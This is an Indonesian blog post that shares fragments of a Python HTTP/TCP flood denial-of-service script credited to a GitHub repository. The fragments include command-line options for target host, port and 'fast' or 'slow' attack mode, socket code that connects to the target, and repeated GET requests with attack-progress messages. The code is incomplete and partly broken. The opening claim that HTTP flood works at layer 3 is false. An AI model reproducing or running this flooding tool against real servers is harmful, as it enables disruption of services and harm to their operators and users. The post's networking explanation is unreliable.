
tcp flood atau http flood sama seperti udp yang berada di layer 3 atau layer jaringan bukan layer aplikasi
Sumber: https://github.com/TidakBernama/http-flood/blob/main/jancok.py
| | |__ | |_ | |_ _ __ | |_ | | ___ ___ __| | |
| | '_ \ | __|| __|| '_ \ | _|| | / _ \ / _ \ / _` | |
| | | | || |_ | |_ | |_) | | | | || (_) || (_) || (_| | |
| |_| |_| \__| \__|| .__/ |_| |_| \___/ \___/ \__,_| |
| --h = Untuk memasukkan host(Untuk slow http flood masukkan url) |
| --p = untuk memasukkan port(80 hanya untuk fast) |
| --t = Tipe serangan cepat atau lambat(fast , slow) |
| {}""".format(colors.RED,colors.ENDC)) |
| jembud = optparse.OptionParser() |
| jembud.add_option("--h", dest="host") |
| jembud.add_option("--p", dest="port") |
| jembud.add_option("--t", dest="tipe") |
| opts , args = jembud.parse_args() |
| sock = socket.socket(socket.AF_INET , socket.SOCK_STREAM) |
| ip = socket.gethostbyname(host) |
| sock.connect((str(ip) , int(port))) |
| print("{}Sudah terhubung ke server {}".format(colors.BLUE , colors.ENDC)) |
| print("{}IP: {} port: 80{}".format(colors.RED,ip,colors.ENDC)) |
| print("{}1".format(colors.BLUE)) |
| print("Memulai serangan...{}".format(colors.ENDC)) |
| print("{}Melakukan request sebanyak {} kali{}".format(colors.RED,count,colors.ENDC)) |
| sock.send("GET / \nHTTP /1.1\n User-Agent: {}\n\r".format("User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0").encode()) |
| if req.status_code == 200: |
| print("{}Melakukan request sebanyak {}{}{} {}kali{} {}response:{}{}200 OK{}".format(colors.RED,colors.GREEN,count,colors.ENDC,colors.RED,colors.ENDC,colors.RED,colors.ENDC,colors.GREEN,colors.ENDC,colors.ENDC)) |
dos.
slow()
Komentar
Posting Komentar